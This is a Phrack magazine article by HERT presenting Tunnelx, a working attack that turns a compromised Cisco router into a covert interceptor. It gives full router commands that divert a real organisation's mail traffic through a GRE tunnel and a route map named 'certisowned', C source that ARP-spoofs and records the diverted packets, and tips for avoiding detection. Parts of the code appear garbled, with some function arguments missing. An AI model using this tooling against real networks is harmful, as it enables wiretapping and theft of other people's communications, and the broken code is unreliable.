First published in Phrack Magazine 56
DisclaimerTunnelx (the code) is part of the research and development effort conducted by HERT (Hacker Emergency Response Team). It is not a production tool for either attack or defense within an information warfare setting. Rather, it is a project demonstrating proof of concept.
If you are not the intended recipient, or a person responsible for delivering it to the intended recipient, you are not authorized to and must not disclose, copy, distribute, or retain this message or any part of it. Such unauthorized use may be unlawful. If you have received this transmission in error, please email us immediately at hert@hert.org so that we can arrange for its return.
The views expressed in this document are not necessarily the views of HERT. Its directors, officers or employees make no representation or accept any liability for its accuracy or completeness unless expressly stated to the contrary.
How many times have you heard people saying, "Hey I 0wn this cisco, it would be cool if I had IOS src... I could trojan and recompile it and do this and that.", how many times have you heard of people wondering what the fuck they could do with an enable password. The IOS src has been floating around for quite a while now and no-one'z done anything with it yet; at least not among the regular bugtraq letspretendtobefulldisclosure readers.
Well you don't even really need the IOS src, everything you need is already there, (there is only one little thing that would be nice to have from the src but we'll talk about it below). You can load up the image in IDA, nop out a couple of instructions and the cisco's rmon implementation won't zero the payload anymore and you have a IOS sniffer.
Internet ------------ Cisco ------------ Target Ethernet0 Serial0
What we are going to do is:
At that point tcpdump won't show any output unless you try to ping an IP on
the 192.168.0.1/24 network. You will see some GRE encapsulated ICMP packets
and some icmp proto 47 unreach packet coming from 192.168.1.1.
# telnet cisco
Trying 192.168.1.240...
Connected to 192.168.1.240.
Escape character is '^]'.
User Access Verification
Password:
cisco> enable
Password:
cisco# configure term
Enter configuration commands, one per line. End with CNTL/Z.
cisco(config)# int tunnel0
cisco(config-if)# ip address 192.168.0.1 255.255.255.0
cisco(config-if)# tunnel mode ?
aurp AURP TunnelTalk AppleTalk encapsulation
cayman Cayman TunnelTalk AppleTalk encapsulation
dvmrp DVMRP multicast tunnel
eon EON compatible CLNS tunnel
gre generic route encapsulation protocol
ipip IP over IP encapsulation
nos IP over IP encapsulation (KA9Q/NOS compatible)
cisco(config-if)# tunnel mode gre ip
cisco(config-if)# tunnel source ?
A.B.C.D ip address
BRI ISDN Basic Rate Interface
Dialer Dialer interface
Ethernet IEEE 802.3
Lex Lex interface
Loopback Loopback interface
Null Null interface
Tunnel Tunnel interface
cisco(config-if)# tunnel source Ethernet0/0/0
cisco(config-if)# tunnel destination 192.168.1.1
cisco(config-if)# ^Z
cisco# show interfaces Tunnel0
Tunnel0 is up, line protocol is up
Hardware is Tunnel
Internet address is 192.168.0.1/24
MTU 1500 bytes, BW 9 Kbit, DLY 500000 usec, rely 255/255, load 1/255
Encapsulation TUNNEL, loopback not set, keepalive set (10 sec)
Tunnel source 192.168.1.240 (Ethernet0), destination 192.168.1.1
Tunnel protocol/transport GRE/IP, key disabled, sequencing disabled
Checksumming of packets disabled, fast tunneling enabled
Last input never, output never, output hang never
Last clearing of "show interface" counters never
Input queue: 0/75/0 (size/max/drops); Total output drops: 0
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
0 packets input, 0 bytes, 0 no buffer
Received 0 broadcasts, 0 runts, 0 giants
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
0 packets output, 0 bytes, 0 underruns
0 output errors, 0 collisions, 0 interface resets
0 output buffer failures, 0 output buffers swapped out
cisco#
On your linux test box, make sure you have protocol number 47 unfirewalled,
test# ipchains -I input -p 47 -j ACCEPT # accept GRE protocol
test# modprobe ip_gre
test# ip tunnel add tunnel0 mode gre remote 192.168.1.240 local
192.168.1.1
test# ifconfig tunnel0 192.168.0.2 netmask 255.255.255.0
test# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2): 56 data bytes
64 bytes from 192.168.0.2: icmp_seq=0 ttl=255 time=0.3 ms
^C
test# ipchains -I input -p 47 -j ACCEPT # accept GRE protocol
Ok our link is up. And as you can see by default GRE is really stateless. There is no handshake, as we are not in Microsoft land with GRE2 and stupid PPTP.
test# tcpdump -i eth1 host 192.168.1.240 and not port 23
tcpdump: listening on eth1
11:04:44.092895 arp who-has cisco tell private-gw
11:04:44.094498 arp reply cisco is-at 0:6d:ea:db:e:ef
11:04:44.094528 192.168.0.2 > 192.168.0.1: icmp: echo request (gre encap)
11:04:44.097458 192.168.0.1 > 192.168.0.2: icmp: echo reply (gre encap)
GRE's rfc isn't really verbose, and cisco coders are bashed in the linux GRE implementation source for not respecting their own RFC.
Let's look at tcpdump src on ftp.ee.lbl.gov. Tcpdump sources are nice; in the file print-gre.c we have most of the info we need to start coding tunnelx.
- We define an unused IP address we call REENTRY and a fake ethernet address to avoid a protocol unreachable storm that we call ETHER_SPOOF. - We initialize libpcap and libnet and set up a pcap_loop.
- Then we make a pcap handler, which look for IP packets matching the GRE protocol which are going to the tunnel exit point address as well as ARP request packets.
- Our ARP parser bails out if it isn't a request for REENTRY or send a reply with ETHER_SPOOF.
- Our GRE parser simply swaps IP and ether source and destitution, and writes the packet to disk with pcap_dump(), increase the ttl, recompute the checksum and flush it with libnet_write.
- That's it!!! Never would have believed it would have been so simple. Now comes the tricky part; we have to configure the cisco correctly (define an access list with all the stuff you want to reroute in it).
telnet 192.88.115.98
...
config term
int tunnel0
ip address 192.168.0.1 255.255.255.0
tunnel mode gre ip
tunnel source Ethernet0
tunnel destination TUNNELX_REENTRY_IP
!
access-list 111 permit tcp any host 192.88.209.10 25
!
route-map certisowned
match ip address 111
set ip next-hop 192.168.0.7
!
!
interface Ethernet0
description to cert.org
ip address 192.88.115.98
ip policy route-map certisowned
^Z
If you had tunnelx up and running before setting up the cisco config then it should work now!!! And traceroute doesn't show any thing since its packets are not matched by our access list!
BEWARE, however, when you want to disable the cisco configuration. Remove the route map first with 'no route-map certisowned' *before* the access list otherwise it will match all packets and they will go in an endless loop. Try it on a small cisco 1600 before going in the wild with this stuff. Also try not to be far away from the cisco. People can only know on which network packets are captured not the actual host since we are arp spoofing, so take advantage of that.
I said in the intro that some bits from IOS src would be nice to use, it is their crypto code. You can setup an encrypted tunnel, make it use the same key on both way so it will encrypt outgoing packets and decrypt them when they come back. Tunnelx is just the same. You just need to add the crypto routine in your pcap reader to make it decrypt the traffic.
Oh yes, I didn't talk about the pcap reader, you can just make a small program that parses the pcap dump from tunnelx, make it un-encapsulate the GRE packet, and create files for each session. lseek() is the key to do it without missing out of order packets or getting messed up by duplicates. Since this article is not destined for the average bugtraq or rootshell reader, the pcap dump parser isn't included, you can send me some cash if you need a special version of tunnelx or need technical support.
:r !cat greetlist |sort -u |sed -e 's/$/, /'|xargs #hax idlers, acpizer,
akg, antilove (your piggy coding style is great), awr, binf, cb, cisco9,
ee.lbl.gov, f1ex, gamma, ice, jarvis, joey, kil3r, klog, meta, minus, nises,
octa, plaguez, plasmoid, route (thx 4 libnet), scalp, scuzzy, shok, swr,
teso crew, the owl, tmoggie, ultor, wilkins, ze others i forgot,
I am already working on a new version that will let you do spoofing, hijacking, and monitoring like in hunt... Don't forget you're on the router, you can do everything, and everyone trusts you :).
// Tunnelx is part of the research and development effort
// conducted by HERT. These are not production tools for either attack or
// defense within an information warfare setting. Rather, they are small
// modifications demonstrating proof of concept.
// comments and crap to gaius@hert.org
// to compile on solaris: (i used libnet-0.99g)
// gcc -O2 -I. -DLIBNET_BIG_ENDIAN -Wall -c tunnelx.c
// gcc -O2 tunnelx.o -o tunnelx -lsocket -lnsl libpcap.a libnet.a
// on linux:
// gcc -O2 -I. `libnet-config --defines` -c tunnelx.c
// gcc -O2 tunnelx.o -o tunnelx libpcap.a libnet.a
#if (HAVE_CONFIG_H)
#include "config.h"
#endif
#include <libnet.h>
#include <pcap.h>
#define IP_UCHAR_COMP(x, y) \
(x[0] == y[0] && x[1] == y[1] && x[2] == y[2] && x[3] == y[3])
#define GRE_CP 0x8000 /* Checksum Present */
#define GRE_RP 0x4000 /* Routing Present */
#define GRE_KP 0x2000 /* Key Present */
#define GRE_SP 0x1000 /* Sequence Present */
#define GRE_SIZE (20)
#define GREPROTO_IP 0x0800
#define EXTRACT_16BITS(p) \
((u_short)ntohs(*(u_short *)(p)))
const u_char *packetp;
const u_char *snapend;
#define SNAPLEN 8192
#define TUNNELX_REENTRY "192.168.1.1"
char out[] = "core";
u_long ip_spoof;
u_char ether_spoof[6] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF};
struct gre_hdr
{
u_short flags;
u_short proto;
union
{
struct gre_ckof
{
u_short cksum;
u_short offset;
}
gre_ckof;
u_long key;
u_long seq;
}
gre_void1;
union
{
u_long key;
u_long seq;
u_long routing;
}
gre_void2;
union
{
u_long seq;
u_long routing;
}
gre_void3;
union
{
u_long routing;
}
gre_void4;
};
struct link_int *li;
char default_dev[] = "le0";
char *device = NULL;
void pcap_print (u_char * user, const struct pcap_pkthdr *h,
const u_char * p);
char errbuf[256];
int
main (int argc, char *argv[])
{
int cnt, c, ret, snaplen;
bpf_u_int32 localnet, netmask;
char ebuf[PCAP_ERRBUF_SIZE];
char pcapexp[50];
pcap_t *pd;
struct bpf_program fcode;
pcap_handler printer;
u_char *pcap_userdata;
snaplen = SNAPLEN;
printer = pcap_print;
while ((c = getopt (argc, argv, "i:")) != EOF)
{
switch (c)
{
case 'i':
device = optarg;
break;
default:
exit (EXIT_FAILURE);
}
}
//inet_aton (TUNNELX_REENTRY, \_spoof);
ip_spoof = libnet_name_resolve(TUNNELX_REENTRY, 0);
device = default_dev;
if (!device)
{
fprintf (stderr, "Specify a device\n");
exit (EXIT_FAILURE);
}
li = libnet_open_link_interface (device, errbuf);
if (!li)
{
fprintf (stderr, "libnet_open_link_interface: %s\n", errbuf);
exit (EXIT_FAILURE);
}
if (device == NULL)
device = pcap_lookupdev (ebuf);
if (device == NULL)
printf ("%s", ebuf);
pd = pcap_open_live (device, snaplen, 1, 500, errbuf);
if (pd == NULL)
{
fprintf (stderr, "pcap_open_live: %s\n", errbuf);
return (-1);
}
if (pd == NULL)
printf ("%s", ebuf);
ret = pcap_snapshot (pd);
if (snaplen < ret)
{
printf ("Snaplen raised from %d to %d\n", snaplen, ret);
snaplen = ret;
}
if (pcap_lookupnet (device, , , ebuf) < 0)
{
localnet = 0;
netmask = 0;
}
sprintf(pcapexp, "arp or (host %s and proto 47)", TUNNELX_REENTRY);
if (pcap_compile (pd,
,
pcapexp,
1, netmask) < 0)
printf ("%s", pcap_geterr (pd));
if (pcap_setfilter (pd, ) < 0)
printf ("%s", pcap_geterr (pd));
if (out)
{
pcap_dumper_t *p = pcap_dump_open (pd, out);
pcap_userdata = (u_char *) p;
}
if (pcap_loop (pd, cnt, printer, pcap_userdata) < 0)
{
(void) fprintf (stderr, "pcap_loop: %s\n", pcap_geterr (pd));
exit (1);
}
pcap_close (pd);
exit (0);
}
void
pcap_print (u_char * user, const struct pcap_pkthdr *h, const u_char * p)
{
register struct libnet_ethernet_hdr *eh;
register struct gre_hdr *gh;
register struct libnet_ip_hdr *ih;
register struct libnet_arp_hdr *ah;
register char *dst, *src;
register u_int ih_length, payload_length, off;
u_int length = h->len;
u_int caplen = h->caplen;
u_short proto;
struct ether_addr tmp_ea;
packetp = p;
snapend = p + caplen;
eh = (struct libnet_ethernet_hdr *) p;
p += sizeof (struct libnet_ethernet_hdr);
caplen -= sizeof (struct libnet_ethernet_hdr);
length -= sizeof (struct libnet_ethernet_hdr);
switch (ntohs (eh->ether_type))
{
case ETHERTYPE_IP:
ih = (struct libnet_ip_hdr *) p;
ih_length = ih->ip_hl * 4;
payload_length = ntohs (ih->ip_len);
payload_length -= ih_length;
off = ntohs (ih->ip_off);
if ((off & 0x1fff) == 0)
{
p = (u_char *) ih + ih_length;
src = strdup (inet_ntoa (ih->ip_src));
dst = strdup (inet_ntoa (ih->ip_dst));
switch (ih->ip_p)
{
#ifndef IPPROTO_GRE
#define IPPROTO_GRE 47
#endif
case IPPROTO_GRE:
gh = (struct gre_hdr *) p;
p += 4;
if (memcmp (>ip_dst, _spoof, 4) == 0)
{
// reverse GRE source and destination
memcpy (tmp_ea.ether_addr_octet, >ip_src, 4);
memcpy (>ip_src, >ip_dst, 4);
memcpy (>ip_dst, tmp_ea.ether_addr_octet, 4);
// ih->ip_id++;
// reverse Ether source and destination
memcpy (tmp_ea.ether_addr_octet, eh->ether_shost, ETHER_ADDR_LEN);
memcpy (eh->ether_shost, eh->ether_dhost, ETHER_ADDR_LEN);
memcpy (eh->ether_dhost, tmp_ea.ether_addr_octet, ETHER_ADDR_LEN);
// dope the ttl up
ih->ip_ttl = 64;
if (libnet_do_checksum ((u_char *) ih, IPPROTO_IP, ih_length) == -1)
return;
if (libnet_write_link_layer (li, device, (u_char *) eh,
payload_length + ih_length + sizeof (struct libnet_ethernet_hdr))
== -1)
return;
pcap_dump (user, h, packetp);
}
proto = EXTRACT_16BITS (>proto);
break;
default:
return;
}
}
break;
case ETHERTYPE_ARP:
// process arp
ah = (struct libnet_arp_hdr *) p;
if (EXTRACT_16BITS (>ar_op) != ARPOP_REQUEST)
{
return;
}
if (memcmp (ah->ar_tpa, _spoof, 4) != 0)
return;
// swap ip source and address i use ar_tha as a temporary place holder
memcpy (ah->ar_tha, ah->ar_spa, 4);
memcpy (ah->ar_spa, ah->ar_tpa, 4);
memcpy (ah->ar_tpa, ah->ar_tha, 4);
// move ether addr source to both destination
memcpy (eh->ether_dhost, eh->ether_shost, ETHER_ADDR_LEN);
memcpy (ah->ar_tha, eh->ether_shost, ETHER_ADDR_LEN);
// copy fake ether addr to both source
memcpy (eh->ether_shost, ether_spoof, ETHER_ADDR_LEN);
memcpy (ah->ar_sha, ether_spoof, ETHER_ADDR_LEN);
// set arp op code to reply
ah->ar_op = htons (2);
if (libnet_write_link_layer (li, device, (u_char *) eh,
ARP_H + ETH_H) == -1)
return;
break;
}
}